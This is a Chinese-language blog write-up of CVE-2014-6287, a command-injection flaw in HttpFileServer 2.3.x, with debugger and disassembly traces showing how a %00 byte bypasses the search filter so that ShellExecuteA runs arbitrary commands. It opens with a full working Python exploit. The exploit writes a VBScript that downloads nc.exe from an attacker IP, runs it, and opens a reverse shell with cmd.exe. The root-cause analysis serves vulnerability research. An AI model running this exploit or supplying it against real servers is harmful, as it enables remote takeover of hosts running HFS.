作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/55ba60e61295e338f7f097ff68ba859a-hfs2.3c.src.zip
PoC:
#!/usr/bin/python
# Exploit Title: HttpFileServer 2.3.x Remote Command Execution
# Google Dork: intext:"httpfileserver 2.3"
# Date: 04-01-2016
# Remote: Yes
# Exploit Author: Avinash Kumar Thapa aka "-Acid"
# Vendor Homepage: http://rejetto.com/
# Software Link: http://sourceforge.net/projects/hfs/
# Version: 2.3.x
# Tested on: Windows Server 2008 , Windows 8, Windows 7
# CVE : CVE-2014-6287
# Description: You can use HFS (HTTP File Server) to send and receive files.
# It's different from classic file sharing because it uses web technology to be more compatible with today's Internet.
# It also differs from classic web servers because it's very easy to use and runs "right out-of-the box". Access your remote files, over the network. It has been successfully tested with Wine under Linux.
#Usage : python Exploit.py <Target IP address> <Target Port Number>
#EDB Note: You need to be using a web server hosting netcat (http://<attackers_ip>:80/nc.exe).
# You may need to run it multiple times for success!
import urllib2
import sys
try:
def script_create():
urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+save+".}")
def execute_script():
urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe+".}")
def nc_run():
urllib2.urlopen("http://"+sys.argv[1]+":"+sys.argv[2]+"/?search=%00{.+"+exe1+".}")
ip_addr = "192.168.44.128" #local IP address
local_port = "443" # Local Port number
vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
save= "save|" + vbs
vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
exe= "exec|"+vbs2
vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
exe1= "exec|"+vbs3
script_create()
execute_script()
nc_run()
except:
print """[.]Something went wrong..!
Usage is :[.] python exploit.py <Target IP address> <Target Port Number>
Don't forgot to change the Local IP address and Port number on the script"""
直接运行,输入想执行的命令即可
此漏洞是一个命令注入漏洞,原因是hfs.exe中,对于检测规则控制不严格,导致可以利用%00截断符绕过检测机制,从而执行后面的命令,达到任意命令执行的目的,下面对此漏洞进行详细分析。
漏洞分析
这里使用?search = %00{.exec|calc.}作为测试代码,首先hfs.exe会在00403282地址处,接收到search请求的字符串。
0:000> g
Breakpoint 3 hit
eax=0012e5b0 ebx=0012f620 ecx=0000000d edx=010c78e8 esi=0012e5b0 edi=010c78e8
eip=00403282 esp=0012e598 ebp=00000016 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000283
hfs_exe_unpacked_+0x3282:
00403282 df3c11 fistp qword ptr [ecx+edx] ds:0023:010c78f5=0000000000637c63
0:000> dc 010c78ef
010c78ef 652e7b00 7c636578 00000063 00000000 .{.exec|c.......
010c78ff 00000000 0c7ef900 431e6401 00000000 ......~..d.C....
010c790f 4355fc00 cebf0000 d066d800 cebf3800 ..UC......f..8..
010c791f 00000800 000060ff 00000000 0c7f4900 .....`.......I..
010c792f 00000001 00000000 53464800 4449535f .........HFS_SID
010c793f 332e303d 37323730 31303031 30323631 =0.3072710011620
010c794f 00003730 0c815100 00000001 00001a00 07...Q..........
010c795f 72623c00 d6bbb23e bbd6b3a7 d3acbaf2 .<br>...........
0:000> dc edx
010c78e8 72616573 003d6863 78652e7b 637c6365 search=.{.exec|c
在010c78e8位置是在接收字符串,实际上,这个地址外层函数实现的功能是对接收到的GET参数进行判断,从而执行不同的代码逻辑,这里胡接收到?search的内容。
接下来,程序会进入一处正则表达式匹配,在这里,会对接收到的参数内容进行过滤。
.text:00509828 push ebx
.text:00509829 push 0
.text:0050982B mov ecx, offset dword_50986C
.text:00509830 mov edx, offset a__ ; "\\{[.:]|[.:]\\}|\\|"
.text:00509835 mov eax, [ebp+var_4]
.text:00509838 call sub_50A848
在这个过程中,会逐一遍历search后面的参数,也是漏洞触发的关键原因。地址00509830位置会将正则字符串推入栈中进行匹配。匹配后会进行转码,从而避免执行命令。
比如,当我们输入一个正常search参数的时候。
0:000> g
Breakpoint 1 hit
eax=00d135c8 ebx=00579ecc ecx=0000002f edx=00000003 esi=00000003 edi=00000030
eip=00509147 esp=0012f04c ebp=0012f088 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
hfs_exe_unpacked_+0x109147:
00509147 e84c7d0000 call hfs_exe_unpacked_+0x110e98 (00510e98)
0:000> dc eax
00d135c8 65722e7b 63616c70 7c227c65 6f757126 {.replace|"|&quo
00d135d8 207c3b74 32312326 652e3b33 26636578 t;| {.exec&
00d135e8 34323123 6c61633b 34232663 2e7d3b36 #124;calc.}.
可以看到对应部分已经被转码,但是这里却没有对%00作为判断,默认遇到%00就截断了,因此可以利用这个方法绕过检测。
0:000> bp 00509147 ".if(@eax == 0x00d22728){;}.else{g;}"
0:000> g
(344.348): Unknown exception - code 0eedfade (first chance)
(344.348): Unknown exception - code 0eedfade (first chance)
eax=00d22728 ebx=00579ecc ecx=0000000c edx=00000004 esi=00000003 edi=0000000d
eip=00509147 esp=0012f04c ebp=0012f088 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
hfs_exe_unpacked_+0x109147:
00509147 e84c7d0000 call hfs_exe_unpacked_+0x110e98 (00510e98)
0:000> dc eax
00d22728 652e7b00 7c636578 636c6163 00007d2e .{.exec|calc.}..
这里可以看到处理后的字符串没有转码,直接输出了,这就造成了漏洞的发生,接下来。
int __stdcall sub_5096E0(signed int a1, int a2)
{
int result; // eax@2
int savedregs; // [sp+Ch] [bp+0h]@2
if ( a1 <= 50 )
{
sub_508ECC(&savedregs);
result = sub_509418((int)&savedregs);
}
return result;
}
程序胡自进入sub_5096E0中对字符串进行处理,这里所谓的处理过程,就是对于exec和calc的分开,主要就是为了后续匹配exec,然后执行calc。首先
0:000> p
eax=00d22728 ebx=0000000b ecx=00000009 edx=00000003 esi=0000000c edi=0000000d
eip=00405987 esp=0012f020 ebp=0012f044 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
hfs_exe_unpacked_+0x5987:
00405987 7f11 jg hfs_exe_unpacked_+0x599a (0040599a) [br=0]
0:000> p
eax=00d22728 ebx=0000000b ecx=00000009 edx=00000003 esi=0000000c edi=0000000d
eip=00405989 esp=0012f020 ebp=0012f044 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
hfs_exe_unpacked_+0x5989:
00405989 01c2 add edx,eax
0:000> p
eax=00d22728 ebx=0000000b ecx=00000009 edx=00d2272b esi=0000000c edi=0000000d
eip=0040598b esp=0012f020 ebp=0012f044 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
hfs_exe_unpacked_+0x598b:
0040598b 8b442408 mov eax,dword ptr [esp+8] ss:0023:0012f028=0012f080
0:000> dc edx
00d2272b 63657865 6c61637c 007d2e63 007c5c00 exec|calc.}..\|.
00d2273b d2310100 00000000 00000c00 53464800 ..1..........HFS
00d2274b cfc5d03d d0d0d6a2 d00000c4 0000edb1 =...............
00d2275b d1c00000 00000100 00001000 74706f00 .............opt
00d2276b 2e6e6f69 6d6d6f63 3d746e65 31000031 ion.comment=1..1
00d2277b d1c00000 00000100 00000e00 4c505500 .............UPL
00d2278b 2044414f 55534552 0053544c 00000000 OAD RESULTS.....
00d2279b d1c00000 00000100 00000e00 524c4100 .............ALR
这里会处理字符串{.部分,获得一个新的字符串,然后继续跟踪。
0:000> g
Breakpoint 8 hit
eax=010c3150 ebx=0012ed54 ecx=636c6163 edx=010c2af0 esi=010c3150 edi=010c2af0
eip=00403324 esp=0012ed00 ebp=0012ed34 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
hfs_exe_unpacked_+0x3324:
00403324 c3 ret
0:000> dc eax
010c3150 636c6163 6c610000 00650063 010c2960 calc..alc.e.`)..
010c3160 00000001 0000000b 72616553 cb3d6863 ........Search=.
010c3170 00f7cbd1 010c2960 00000001 0000000b ....`)..........
010c3180 646c6f46 c43d7265 00bcc2bf 010c2960 Folder=.....`)..
010c3190 00000001 00000009 6b636142 bbb5b73d ........Back=...
010c31a0 312d00d8 010c2960 00000001 0000000b ..-1`)..........
010c31b0 b73d7055 c9d8bbb5 00e3b2cf 010c2960 Up=.........`)..
010c31c0 00000001 00000009 656d6f48 d2d7ca3d ........Home=...
0:000> dc 010c2b68
010c2b68 63657865 78650000 00006365 010c2960 exec..exec..`)..
010c2b78 00cc49a0 00000007 70747468 002f2f3a .I......http://.
010c2b88 00650031 010c2960 00000001 00000009 1.e.`)..........
010c2b98 454d4954 46454c20 00000054 010c2a71 TIME LEFT...q*..
010c2ba8 00000000 00000007 45464552 00524552 ........REFERER.
010c2bb8 00454d49 010c2960 00000001 00000008 IME.`)..........
通过下内存写入断点,可以看到处理后会将exec和calc分开。接下来程序会进入一处sub_52CE88函数,这个函数会对calc字符串进行拷贝。
int __usercall sub_52CE88@<eax>(int a1@<eax>, int a2@<edx>, int a3@<ebx>)
{
int v3; // esi@1
int v4; // ecx@1
int v5; // ecx@1
int v6; // ecx@1
int v7; // ebx@3
int *v8; // ecx@5
unsigned int v10; // [sp-Ch] [bp-1Ch]@1
void *v11; // [sp-8h] [bp-18h]@1
int *v12; // [sp-4h] [bp-14h]@1
int v13; // [sp+8h] [bp-8h]@1
int v14; // [sp+Ch] [bp-4h]@1
int savedregs; // [sp+10h] [bp+0h]@1
v13 = 0;
v3 = a2;
v14 = a1;
__linkproc__ LStrAddRef();
v12 = &savedregs;
v11 = &loc_52CF19;
v10 = __readfsdword(0);
__writefsdword(0, (unsigned int)&v10);
__linkproc__ LStrAsg(v4, v14);
这步完成之后继续单步跟踪。
.text:00537063 loc_537063: ; CODE XREF: sub_535540+1B16j
.text:00537063 mov eax, [ebp+var_4]
.text:00537066 mov edx, offset aExec ; "exec"
.text:0053706B call @@LStrCmp ; __linkproc__ LStrCmp
.text:00537070 jnz short loc_537079
.text:00537072 push ebp
.text:00537073 call sub_5328E8
程序会在这里和exec做一次匹配,如果匹配成功,则会执行接下来的call sub_5328E8操作。
Breakpoint 3 hit
eax=010c3f78 ebx=00d07ad0 ecx=63657865 edx=00538970 esi=00000003 edi=00000006
eip=0053706b esp=0012edb4 ebp=0012f044 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000293
hfs_exe_unpacked_+0x13706b:
0053706b e8e8e7ecff call hfs_exe_unpacked_+0x5858 (00405858)
0:000> dc eax
010c3f78 63657865 253d0000 00263030 010c2960 exec..=%00&.`)..
010c3f88 00000002 00000009 63657865 6c61637c ........exec|cal
010c3f98 00260063 010c2960 00000001 00000007 c.&.`)..........
010c3fa8 6165733f 00686372 00000000 0d3d7364 ?search.....ds=.
010c3fb8 616e650a 2d656c62 7263616d 793d736f .enable-macros=y
010c3fc8 0a0d7365 2d657375 74737973 692d6d65 es..use-system-i
010c3fd8 736e6f63 7365793d 696d0a0d 696d696e cons=yes..minimi
010c3fe8 742d657a 72742d6f 793d7961 0a0d7365 ze-to-tray=yes..
0:000> dc edx
00538970 63657865 00000000 ffffffff 00000014 exec............
00538980 a8b6e8c9 d8b55049 c4b5b7d6 c8b6d9cb ....IP..........
00538990 c6d6decf 00000000 00000000 447a0000 ..............zD
可以看到,这里匹配的两个字符串指针eax和edx都是exec,也就是执行字符串匹配成功,接下来会进入sub_5328E8。
.text:00532AD9 loc_532AD9: ; CODE XREF: sub_5328E8+D7j
.text:00532AD9 mov eax, [ebp+arg_0]
.text:00532ADC push eax
.text:00532ADD lea edx, [ebp+var_2C]
.text:00532AE0 mov eax, [ebp+arg_0]
.text:00532AE3 mov eax, [eax-10h]
.text:00532AE6 call sub_52CE88
.text:00532AEB mov eax, [ebp+var_2C]
.text:00532AEE mov ecx, 5
.text:00532AF3 mov edx, [ebp+var_4]
.text:00532AF6 call sub_50CEC4
到达00532AF6地址位置,调用了sub_50CEC4函数,这个函数就是执行函数,来看一下伪代码。
char *__usercall sub_50CEC4@<eax>(_BYTE *a1@<eax>, int a2@<edx>, signed __int32 a3@<ecx>)
{
nShowCmd = _InterlockedExchange((volatile signed __int32 *)&v46, a3);
if ( v46
&& (v20 = nShowCmd,
v21 = (const CHAR *)__linkproc__ LStrToPChar(),
v22 = (const CHAR *)__linkproc__ LStrToPChar(),
(unsigned int)ShellExecuteA(0, "open", v22, v21, 0, v20) > 0x20) )
{
伪代码内部调用了ShellExecuteA函数,执行了任意命令。
总结一下整个过程,程序在对接收到的search函数进行处理的过程中,会进行一次正则表达式匹配转码,而这个过程没有对%00字符串进行处理,从而误认为遇到%00就结束了,从而利用这种方法绕过正则匹配,这样在后续分解过程中,可以用exec匹配到执行命令,执行任意命令。
```